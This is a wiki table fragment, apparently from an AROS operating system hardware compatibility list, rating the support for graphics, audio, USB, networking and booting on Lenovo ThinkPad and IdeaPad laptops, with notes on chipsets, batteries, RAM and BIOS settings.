| &lt;!--Name--&gt;ThinkPad Edge E525 E535 LENOVO IDEAPAD Z575 || &lt;!--Chipset--&gt;AMD A6-3420M A8-3500M later A8-4500M has no sse4.1 or avx || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|sata}} || &lt;!--Gfx--&gt;{{Maybe|VESA AMD 6620G later 7640G}} || &lt;!--Audio--&gt;{{No|HDAudio with Conexant codec}} || &lt;!--USB--&gt;{{Maybe|USB2 but not usb3}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 Realtek 8111}} || &lt;!--Wireless--&gt;{{No|Broadcom bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2013 64bit does not support AVX or SSE 4.1 - 15.6in 1368 x 768 matt - 65W 20v lenovo round psu - thick desktop replacement - ThinkPad Edge E520 E520S E525 E530 E545 E535 E530C Laptop Keyboard swap - 
|-
| &lt;!--Name--&gt;T430 t430i T530 || &lt;!--Chipset--&gt;ivy bridge i5 3320 3230m on Intel QM77 has sse4.1 and avx || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|sata}} || &lt;!--Gfx--&gt;{{Maybe|VESA 1366 x 768 for Intel HD 4000 with optional Nvidia 5400M}} || &lt;!--Audio--&gt;{{Maybe|Intel HD with Realtek ALC3202 aka ALC269VC codec playback ear head phones - HDA 6.27}} || &lt;!--USB--&gt;{{Yes|USB 2 ports and usb2.0 devices thru usb 3.0 ports}} || &lt;!--Ethernet--&gt;{{No|Intel e1000}} || &lt;!--Wireless--&gt;{{unk|Intel or Atheros AR9285 bios locked}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1.1 || &lt;!--Comments--&gt;2013 64bit fan noise and chiclet keyboard, synaptics trackpad - HD+ 768p - 
|-
| &lt;!--Name--&gt;Thinkpad X230 x230t || &lt;!--Chipset--&gt;Intel QM67 express i5 has sse4.1 and avx || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|sata}} || &lt;!--Gfx--&gt;{{Maybe|VESA }} || &lt;!--Audio--&gt;{{Maybe|Intel HD with ALC269 aka ALC3202}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{no|Intel }} || &lt;!--Wireless--&gt;{{No|I}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2013 64bit - 12.2 in 1366 x 768 - 2 ddr3 sodimm slots - external battery - 
|-
| &lt;!--Name--&gt;Thinkpad T440 t440s t440p T540 L440 L540 || &lt;!--Chipset--&gt;intel haswell 8 series Core i3 to i7 has sse4.1 and avx || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|sata}} || &lt;!--Gfx--&gt;{{Maybe|VESA - Intel 4600 or Nvidia}} || &lt;!--Audio--&gt;Intel HD with Realtek ALC3232 alc269 codec or ALC292 || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{No|Intel}} || &lt;!--Wireless--&gt;{{No|Intel AC 7260 bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2014 64bit - 14 and 15&quot; models with glitchy trackpad and no physical buttons - keyboard repair not easy as well as 4 variants of key caps - 2pin CR2032 CMOS battery - 
|-
| &lt;!--Name--&gt;Thinkpad X240 x240t ultrabook TN (20AL0081GE), HD IPS display without touch (20AL007NGE) and touch (20AL0076GE) but all 65% sRGB || &lt;!--Chipset--&gt;haswell i7-4600U i5 4200U 4210U 4300U i3-4100U - two batteries, one internal 3cell 45N1110 (45N1111) or 45N1112 (FRU 45N1113) and external 3 / 6cell  45N1126 (FRU 45N1127) || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;2.5in 7mm sata (torq t7), m.2 2242 in WWAN slot (m and b key NGFF Sata) || &lt;!--Gfx--&gt;{{Maybe|use VESA for Intel 4400 for vga or mini-dp}} || &lt;!--Audio--&gt;{{No|HDAudio 0x8086, 0x0a0c 0x8086, 0x9c20 with Realtek ALC3232 aka ALC292 0x10ec, 0x0292}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{no|Intel® 82577LM Gigabit (Hanksville) }} || &lt;!--Wireless--&gt;{{no|Realtek or Intel 7260n I218-V or I218-LM bios locked}} || &lt;!--Test Distro--&gt;AROS One USB || &lt;!--Comments--&gt;2014 64bit - 12.2in 1366 x 768 or 1080p - 1 ddr3l sodimm slot - no keyboard spill drainage and at least 2 variants of key caps - lenovo rectangle pwr ac - TPM 1.2 - Bluetooth 4.0 no support - bottom panel with 8 retained screws - 2pin CR2032 CMOS battery - 
|-
| &lt;!--Name--&gt;ThinkPad Edge E545 
* key cap swap with E440 E531 E540 L440 L450 T431S T440S T440P T540 
* Keyboard swap L540 T540p W540 Edge E531 E540 W541 T550 W550S L560 P50S T560 
|| &lt;!--Chipset--&gt;AMD Socket FS1r2 A6-5350M (2c2t) or A8-4500M, A8-5550M, A10-5750M (4c4t) with A76M FCH has sse4.1 and avx || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;2.5in 9.5mm - enter UEFI bios with Enter or ESC, config section, sata into compatibility and security, secure boot disabled - mini sata DVD burner PLSD DS8A9SH || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for AMD 7640G, 8450G, 8550G, 8650G ?? Islands}} || &lt;!--Audio--&gt;{{no|VOID for HDAudio 6.34 0x1022, 0x780d with Conexant CX20590 Analog 0x14f1, 0x506e CX20671 codec 0x14f1, 0x5069 or audio over Trinity HDMI}} || &lt;!--USB--&gt;{{maybe|boots pen drives from yellow usb port but not from blue USB3 ones, issues with AMD usb3 hardware quirks}} || &lt;!--Ethernet--&gt;{{yes|rtl8169 1GbE 8111F}} || &lt;!--Wireless--&gt;{{No|Broadcom BCM43142 bios locked}} || &lt;!--Test Distro--&gt;AROS One 2.3 USB works with noacpi added to end of grub2 boot line but not booting on AROS One 64bit 1.1 via usb2 stick or iso burnt to dvd || &lt;!--Comments--&gt;2015 64bit - 15.6in 1366 x 768 matt - 20v 65w 90w round lenovo plug psu - 2 DDR3 SODIMM slots 16GB Max - external 6 Cell Li-Ion Battery 48Wh l11s6y01 45n1043 - 2pin CR2032 CMOS battery in wifi area jp1202 - amd v(tm) virtualization not working - 
|-
|&lt;!--Name--&gt;Y50-70 || &lt;!--Chipset--&gt;Intel 4 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme || &lt;!--Gfx--&gt;GTX 860M or GTX 960M || &lt;!--Audio--&gt;HDAudio || &lt;!--USB--&gt;USB3 || &lt;!--Ethernet--&gt;{{maybe|rtl8169 rtl8111}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2015 64bit - 
|-
|&lt;!--Name--&gt;AMD platform codes
*Beema: ABM, 
*Carizzo-L: ACL,
*Carizzo: ACZ, 
*Godavari: AGR, 
*Kaveri: AKV, 
*Stoney Ridge: ASR,
*Stoney Ridge: AST (NB), 
|| &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
*Summit Ridge: ASU, 
*Bristol Ridge-L: ABL, 
*Bristol Ridge: ABR, 
*Raven Ridge: ARR, 
*Picasso: API 
|-
|&lt;!--Name--&gt;Lenovo ThinkPad P50 || &lt;!--Chipset--&gt;Intel i7-6820HQ || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme || &lt;!--Gfx--&gt;Quadro M2000M || &lt;!--Audio--&gt;HDAudio || &lt;!--USB--&gt;USB3 || &lt;!--Ethernet--&gt;{{no|Intel}} || &lt;!--Wireless--&gt;{{no|Intel }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2015 64bit - 
|-
| &lt;!--Name--&gt;[https://www.laptop-schematics.com/db/78/V%20series%20laptops%20(Lenovo)/ V110-14AST (14in) V110-15AST, V110-14ISK V110-15ISK 80TL (15&quot;)],  || &lt;!--Chipset--&gt;AMD E1-9000, A6-9210 to A9-9410 all dual core and intel 6006u, 6100u, 6200u || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;1 2.5in sata most 7mm some 9.5mm || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for AMD R2, R3, R5 or R6 or Intel Gfx}} || &lt;!--Audio--&gt;{{No|HDAudio with codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2016 64bit - 14in to 15.6in mostly 768p 220 nits - 20v 45W or 65W lenovo slim rectangle end ac - keyboard swap hard - integrated 24WHr battery - 4gb ddr4 ram soldered and 1 2133Mhz ddr4 slot max 12Gb - abs plastic - 
|-
|&lt;!--Name--&gt;
*ThinkPad A275 12in (1 ddr4 1866MHz sodimm) 
*Thinkpad A475 14in (2 ddr4 1866MHz sodimm) - both internal (main) and external (secondary) battery 
|| &lt;!--Chipset--&gt;A10-8730B A10-9700B 2.500Ghz later A12-8830B A12-9800B all 4c4t (AVX2 on 9000s) || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Maybe|7mm 2.5in sata with mbr and not gpt, setup in another machine - secure boot disabled, bios startup boot set to legacy then uefi - WWAN slot cannot use M.2 2242 sata with M and B key}} || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for AMD R5 or R7}} || &lt;!--Audio--&gt;{{No|HDAudio 6.34 ahi 0x1022, 0x157a with ALC3268 aka ALC298 codec 0x10ec, 0x0298 - VOID even with QUERY / QUERYD added}} || &lt;!--USB--&gt;{{no|USB3 error on boot suspect AMD usb3 quirk}} || &lt;!--Ethernet--&gt;{{Yes|rtl8169 RTL8111EPV}} || &lt;!--Wireless--&gt;{{No|Realtek RTL8822BE WLAN whitelist locked cannot swap}} || &lt;!--Test Distro--&gt;{{maybe|AROSOne USB 32bit 1.8 with noacpi noapic noioapic added to grub2 boot line but Aros One 64bit 1.2 USB has krnPanic }} || &lt;!--Comments--&gt;2016 64bit 12 or 14in 768p - 45W or 65w lenovo rectangle ac adapter - F1 enter bios and F12 boot order - 6 retained screws and snap on base - 2100 error message no solution except using only efi/gpt bios option - 
|-
|&lt;!--Name--&gt;320S-15AST, 320S-15ABR, ideapad Slim 1-11AST-05 81VR || &lt;!--Chipset--&gt;AMD A6-9220e, AMD A6-9225, A9-9425, A10-9600P 7th Gen || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|sata 2.5in}} || &lt;!--Gfx--&gt;{{maybe| Vesa 2D for AMD}} || &lt;!--Audio--&gt;{{No| }} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{No|Qualcomm Atheros QCA9377 or Realtek RTL8821CE}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2018 64bit AVX2 - 14in or 15.6&quot; 768p - 1 ddr4 sodimm slot - keyboard swap problematic - 
|-
|&lt;!--Name--&gt;Lenovo Ideapad S145-14AST S145-15AST 81N3 || &lt;!--Chipset--&gt;AMD A6-9225, A9-9425, A10-9600P 7th Gen, AMD A12-9720P Mobo 5B20P11110 NMB341 Bristol Ridge || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|sata 2.5in}} || &lt;!--Gfx--&gt;{{Maybe|VESA Radeon 8670A 8670M 8690M GCN 3}} || &lt;!--Audio--&gt;{{No| }} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{No|Qualcomm Atheros QCA9377 or Realtek RTL8821CE}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2018 64bit AVX2 - 14in or 15.6&quot; 768p or 1080p - 1 ddr4 sodimm slot - 
|-
|&lt;!--Name--&gt;Lenovo Ideapad V145-14AST V145-15AST, 81mt, Ideapad 310, Ideapad 320-15ABR, Ideapad 330-14AST 330-15AST 330-17AST || &lt;!--Chipset--&gt;AMD A6-9225, A9-9425 (2c2t), A10-9600P 7th Gen, AMD A12-9720P Mobo 5B20P11110 NMB341 Bristol Ridge || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|sata 2.5in with optional dvd}} || &lt;!--Gfx--&gt;{{Maybe|VESA Radeon 8670A 8670M 8690M GCN 3}} || &lt;!--Audio--&gt;{{unk|HDaudio with ALC3240-va3-cg aka ALC236? codec 0x10de, 0x0236}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{no|rtl8169 8106E 10/100 only}} || &lt;!--Wireless--&gt;{{No|Qualcomm Atheros QCA9377 or Realtek RTL8821CE}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2017 64bit AVX2 - 14in or 15.6&quot; 768p or 1080p - 1 ddr4 sodimm slot - 45w 65w slim ac adapter - 
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
|&lt;!--Name--&gt;Lenovo V330-14ARR 81B1, V330-15ARR 81, 330-14ARR 81 330-15ARR 81D2 - battery internal about 30whr || &lt;!--Chipset--&gt;AMD Ryzen R3 2200U, 2300U or R5 2500U Raven Ridge || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;M.2 nvme/sata, optional 2.5in sata but no dvd || &lt;!--Gfx--&gt;{{Maybe|VESA Vega 3, 6 or 8 up to 1Gb of soldered ram memory taken}} || &lt;!--Audio--&gt;{{No|HDAudio 0x1002, 0x15de with Realtek® ALC5682I-VD codec 0x10de, 0x or coxenant CX11802 codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|Realtek 1GbE}} || &lt;!--Wireless--&gt;{{no|Realtek}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2018 64bit - 14&quot; 768p 20mm thick 1.8kg - 20v 2.25a 45w ac round barrel - chiclet keyboard - 4Gb soldered and 1 ddr4 sodimm - TPM 2.0 in bios - 4GB soldered - 
|-
|&lt;!--Name--&gt;Ideapad 330s-14ARR, 330s-15ARR, ideapad 330S-14IKB, 330S-15IKB,  - battery internal about 30whr || &lt;!--Chipset--&gt;AMD Ryzen R3 2200U, 2300U or R5 2500U Raven Ridge || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|nvme}} || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for AMD or Intel 610, 620 up to 1Gb of soldered ram memory taken}} || &lt;!--Audio--&gt;{{No|HD Audio with  codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{no|Realtek}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2018 64bit - 14&quot; 20mm thick 1.8kg - 20v 2.25a 45w ac round barrel - chiclet keyboard - 4Gb soldered and 1 ddr4 sodimm - TPM 2.0 in bios - 4GB soldered - 
|-
|&lt;!--Name--&gt;Thinkpad Edge E485 E585 - internal battery only || &lt;!--Chipset--&gt;AMD Ryzen R3 2300U R5 2500U R7 2700U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|m.2 nvme optional 1 2.5in sata}} || &lt;!--Gfx--&gt;{{Maybe|VESA for Vega 3, 8 or 10}} || &lt;!--Audio--&gt;{{No|HDAudio with CX11852 codec }} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 rtl8111GUS}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2018 64bit - 14in or 15.6in 768p or 1080p - USB-C 20V 2.25A 3.25A avoid knocking charging port as damages easily - 2 ddr4 sodimm slot max 2400Mhz 32GB - TPM 2.0 software - 
|-
|&lt;!--Name--&gt;Thinkpad A285 - internal and external battery || &lt;!--Chipset--&gt;AMD Ryzen PRO 3 2200U 5 2500U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|m.2 nvme/sata}} || &lt;!--Gfx--&gt;{{Maybe|VESA Vega up to 2Gb of soldered ram memory taken}} || &lt;!--Audio--&gt;{{unk|HD Audio with ALC ALC3287 codec aka ALC257 }} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{No|Mini-Ethernet/Docking}} || &lt;!--Wireless--&gt;{{no|Realtek or Qualcomm - WLAN whitelist no more??}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2018 64bit - 12.5in 1080p - avoid usb-c port being lifted/moved whilst in use as damages laptop easily - soldered ram 8gb or 16gb  - WWAN whitelist - keyboard swap problematic - 
|-
|&lt;!--Name--&gt;Thinkpad A485 bios setting [https://github.com/PSPReverse/PSPTool AMD PSP Platform Security Processor Key] - internal and external battery || &lt;!--Chipset--&gt;AMD Ryzen PRO 5 2500U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;sata port and m.2 nvme port || &lt;!--Gfx--&gt;{{Maybe|VESA Vega }} || &lt;!--Audio--&gt;{{unk|HD Audio with ALC ALC3287 codec aka ALC 257 }} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 RTL8111GUL}} || &lt;!--Wireless--&gt;{{no|Realtek or Qualcomm wifi - WLAN whitelist no more??}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2018 64bit - 14in 768p, 1080p or 1440p - avoid usb-c port being lifted/moved whilst in use as damages laptop easily - 2 ddr4 sodimm slots max 32gb - WWAN whitelist - keyboard swap problematic - 
|-
|&lt;!--Name--&gt;[https://www.diy-laptoprepair.com/forum/fix-Lenovo-V155-15-repair-guide-schematics.php Lenovo v155-15api 81V5] V155 (15&quot; AMD) budget all plastic build - MS new protocol, HID over I2C so [https://askubuntu.com/questions/1033033/elantech-touchpad-does-not-work-i2c-hid i2c] [https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/drivers/input/mouse/elantech.c?h=v6.17 i2c] [https://www.kernel.org/doc/html/v4.16/input/devices/elantech.html PS2 hybrid trackpad] [https://cgit.freebsd.org/src/tree/sys/dev/atkbdc/psm.c?h=releng/14.3 elantech] [https://cvsweb.openbsd.org/cgi-bin/cvsweb/src/sys/dev/pckbc/?only_with_tag=OPENBSD_7_8_BASE i2c-hid] 04F3:3140 touchpad not working - internal sunwoda battery L18D3PF1, L18L3PF1, L18C3PF2 35Whr most dead after 5 years || &lt;!--Chipset--&gt;'''tested''' Ryzen 5 3500U and Ryzen 3 3200U - '''untested''' AMD Athlon 300U with bios winbond 25q64fwsiq soic 1.8v bios near nvme || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;1 M.2 nvme and usually 2.5in 7mm sata - install on mbr not gpt 2.5in in another compatible machine - mini sata dvd/cd da-8aesh11b will boot cd or dvd aros || &lt;!--Gfx--&gt;{{Maybe|VESA 2D to 1080p work for Vega 3 or 8 with up to 2Gb of soldered ram memory taken but hdmi 1.4b no output}} || &lt;!--Audio--&gt;{{Yes|HDAudio add 0x1022, 0x15E3 with ALC3287 aka Realtek ALC257 codec 0x10ec, 0x0257 with 32bit on external speaker and most of the time works on 64bit}} || &lt;!--USB--&gt;{{no|2 USB3.0 usb-a, on left hand side, detected but not working}} || &lt;!--Ethernet--&gt;{{yes|rtl8169 RTL8111GUS works well with 32bit and 64bit}} || &lt;!--Wireless--&gt;{{no|Realtek or Intel wifi}} || &lt;!--Test Distro--&gt;2025 AROS One 2.8 DVD 32bit and AROS One x64 1.1 and 1.2 iso DVD burnt but not USB boot || &lt;!--Comments--&gt;2019 64bit - 15.6in 768p or 1080p 200nits tn panel - 4Gb ddr4 2400MHz soldered with 1 dimm slot max 20Gb - round ac 20V 65W psu 4.0mm x 1.7mm - Fn+F2 to enter bios and F12 boot order - no sd card slot - 2pin cr2032 cmos coin battery - 
|-
|&lt;!--Name--&gt;V15-ADA 82C700E4UK- elan touchpad not working - internal battery 34whr L16M2PB2 l16l2pb3 || &lt;!--Chipset--&gt;AMD r5 3500U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;1x 2.5&quot; HDD + 1x M.2 SSD NVMe near fan, no cd dvd || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for Vega 3, 8 with up to 1080p with 2Gb of soldered ram memory taken}} || &lt;!--Audio--&gt;{{Yes|HD Audio 6.36 0x1022, 0x15E3 with R155189 ALC236 codec 0x10ec, 0x0236 on 32bit and on 64bit}} || &lt;!--USB--&gt;{{maybe|3 USB3, on left hand side,}} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{no|Realtek or Qualcomm wifi}} || &lt;!--Test Distro--&gt;2025 3500U with Aros One 32bit 2.8 installed to 2.5in drive on another machine and same for 64bit || &lt;!--Comments--&gt;2019 64bit - 14 or 15.6in 768p on low spec machines to 1080p - 4GB soldered with 1 ddr4 sodimm slot - 2pin cr2032 cmos coin battery - sd card slot - noisy fan - 
|-
|&lt;!--Name--&gt;V15-ADA 82C7 - elan touchpad not working - internal battery 34whr L16M2PB2 l16l2pb3 || &lt;!--Chipset--&gt;AMD Athlon Silver 3020e, Ryzen 3 3050U, 3150U, 3250U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;1x 2.5&quot; HDD + 1x M.2 SSD NVme near fan, no cd dvd || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for Vega 3, 8 with up to 1080p with 2Gb of soldered ram memory taken}} || &lt;!--Audio--&gt;{{No|HD Audio 6.36 0x1022, 0x15E3 with RTS5119 R155119 ALC230 codec}} || &lt;!--USB--&gt;{{maybe|3 USB3.0, on left hand side,}} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{no|Realtek or Qualcomm wifi}} || &lt;!--Test Distro--&gt;2025 Aros One 32bit 2.8 and 64bit || &lt;!--Comments--&gt;2019 64bit - 14 or 15.6in 768p on low spec machines to 1080p - 4GB soldered with 1 ddr4 sodimm slot - 2pin cr2032 cmos coin battery - sd card slot - for this mbd bios ram disable doesn't work - noisy fan - 
|-
|&lt;!--Name--&gt;Lenovo V14-ADA 82C6, - elan touchpad not working - if blank black display, bios bug going from uefi-&gt;legacy so reset bios rhs push in with pin, then Down, ent, Right x3, ent, up, ent, right, ent x2 - internal battery 34whr L16M2PB2 l16l2pb3 || &lt;!--Chipset--&gt;'''tested''' 3250U - '''untested''' AMD Athlon Silver 3020e, Ryzen 3 3050U, 3150U - for this mbd GV451&amp;GV551 NM-D151 bios ram disable doesn't work || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;1x 2.5&quot; HDD if cbl + 1x M.2 SSD NVMe near fan, no cd dvd || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for Vega 3 up to 1080p with 2Gb of soldered ram memory taken}} || &lt;!--Audio--&gt;{{no|HD Audio 6.36 0x1022, 0x15E3 with Realtek ALC3223 RTS5119 R185199 aka ALC230 codec 0x10ec, 0x0230 on 32bit and on 64bit}} || &lt;!--USB--&gt;{{maybe|3 USB3, on left hand side,}} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{no|Realtek or Qualcomm wifi}} || &lt;!--Test Distro--&gt;2025 AMD 3250U with Aros One 32bit 2.8 installed to 2.5in drive on another machine and same for 64bit || &lt;!--Comments--&gt;2019 64bit - 14 or 15.6in 768p on low spec machines to 1080p - 4GB soldered with 1 ddr4 sodimm slot - 2pin cr2032 cmos coin battery - sd card slot - F2 bios F12 select - 
|-
|&lt;!--Name--&gt;IdeaPad 1 14ADA5 (low spec cpus) ideaPad 3 14ADA05, IdeaPad 3 15ADA05 81W100QVUK, IdeaPad 3 17ADA05 - elan touchpad not working - internal battery 34whr L16M2PB2 l16l2pb3 || &lt;!--Chipset--&gt;AMD Athlon Silver 3020e, Ryzen 3 3050U, 3150U, 3250U, Ryzen 5 3500U on mobo NM-C821 REV 0.2 1.0 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;1x 2.5&quot; HDD if cbl + 1x M.2 SSD NVMe near fan, no cd dvd || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for Vega 3, 8 up to 1080p with 2Gb of soldered ram memory taken}} || &lt;!--Audio--&gt;{{no|HD Audio 6.36 0x1022, 0x15E3 with ALC230 codec 0x10ec, 0x0230 on 32bit and on 64bit}} || &lt;!--USB--&gt;{{maybe|3 USB3, on left hand side,}} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{no|Realtek or Qualcomm wifi}} || &lt;!--Test Distro--&gt;2025 Aros One 32bit 2.8 installed to 2.5in drive on another machine and same for 64bit || &lt;!--Comments--&gt;2019 64bit - 14 or 15.6in 768p on low spec machines to 1080p - 4GB soldered with 1 ddr4 sodimm slot - 2pin cr2032 cmos coin battery - sd card slot - F2 bios F12 boot select - 
|-
|&lt;!--Name--&gt;Lenovo IdeaPad L340-15API 81LW001CUS L340-17API - elan trackpad not functioning - internal battery L18M3PF2 || &lt;!--Chipset--&gt;AMD Athlon 300U, Ryzen 3 3200U r5 3500U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;1 M.2 nvme and usually 2.5in sata if ribbon cable present - mini sata dvd/cd da-8aesh11b || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for Vega 3 or 8 with up to 2Gb of soldered ram memory taken - hdmi 1.4b}} || &lt;!--Audio--&gt;{{unk|HDAudio add 0x1022, 0x15E3 with Realtek ALC236 0x10ec, 0x0236}} || &lt;!--USB--&gt;{{maybe|USB3 not detected}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 RTL8111GUS}} || &lt;!--Wireless--&gt;{{no|Realtek or Intel wifi}} || &lt;!--Test Distro--&gt;AROS One 2.8 USB - install on mbr not gpt 2.5in in another compatible machine || &lt;!--Comments--&gt;2019 64bit - 15.6in 768p or 1080p 200nits - 4Gb ddr4 2400MHz soldered with 1 dimm slot max 20Gb - round ac 20V 65W psu 4.0mm x 1.7mm - Return or F1 to enter bios and F12 boot order - no sd card slot - 
|-
|&lt;!--Name--&gt;[https://www.laptop-schematics.com/db/78/T%20series%20laptops%20(ThinkPad)/ ThinkPad T295 T495] || &lt;!--Chipset--&gt;Ryzen 3 3300U, R5 Pro 3500U or R7 3700U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;1 NVMe up to 2280 || &lt;!--Gfx--&gt;{{Maybe|VESA Vega 6, 8 or 10 up to 2Gb of soldered ram memory taken}} || &lt;!--Audio--&gt;{{unk|HD Audio with Realtek® ALC3287 codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 Realtek RTL8111EPV}} || &lt;!--Wireless--&gt;{{No|Realtek RTL8822BE or Intel AC 9260}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2019 64bit - 14in 768p but mostly FHD 1080p 250 nits - internal battery - ram 8gb or 16gb 2400Mhz soldered with 1 ddr4 slot on T495 only - TPM 2.0 - usb-c charging avoid knock whilst in use - keyboard swap problematic - 
|-
|&lt;!--Name--&gt;ThinkPad T495s (14in) X395 (13in) || &lt;!--Chipset--&gt;Ryzen 3 3300U, R5 Pro 3500U or R7 3700U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;1 NVMe up to 2280 || &lt;!--Gfx--&gt;{{Maybe|VESA Vega 6, 8 or 10 up to 2Gb of soldered ram memory taken}} || &lt;!--Audio--&gt;{{unk|HD Audio with Realtek® ALC3287 codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{unk| needs Lenovo ThinkPad Ethernet Adapter Gen 2 SC10P42352 or SC10P42354}} || &lt;!--Wireless--&gt;{{No|Realtek RTL8822BE or Intel AC 9260 wifi}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2019 64bit - 13in or 14in 768p but mostly FHD 1080p 250 nits - internal battery - ram 8gb or 16gb 2400Mhz soldered - TPM 2.0 - usb-c charging avoid knock whilst in use - keyboard swap problematic - 
|-
|&lt;!--Name--&gt;ThinkPad E14 Gen2, E15 Gen 2 (AMD) 20T8,  - lenovo has a mobile phone PC Diagnostic App for error/beep codes || &lt;!--Chipset--&gt;AMD Ryzen 3 4300U, 5 4500U, 7 4700U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;2 m.2 nvme, 1 2242 and 1 2280 || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for AMD Radeon up to 2Gb of soldered ram memory taken}} || &lt;!--Audio--&gt;{{unk|HD Audio with ALC ALC3287 codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 RTL8111GUS}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2020 15.6in 1080p 220 nits - TPM 2.0 - usb-c charging of internal 45Whr battery - 4gb ddr4 3200Mhz soldered and 1 ddr4 sodimm slot max 20Gb - keyboard swap problematic - plastic bendy case - 
|-
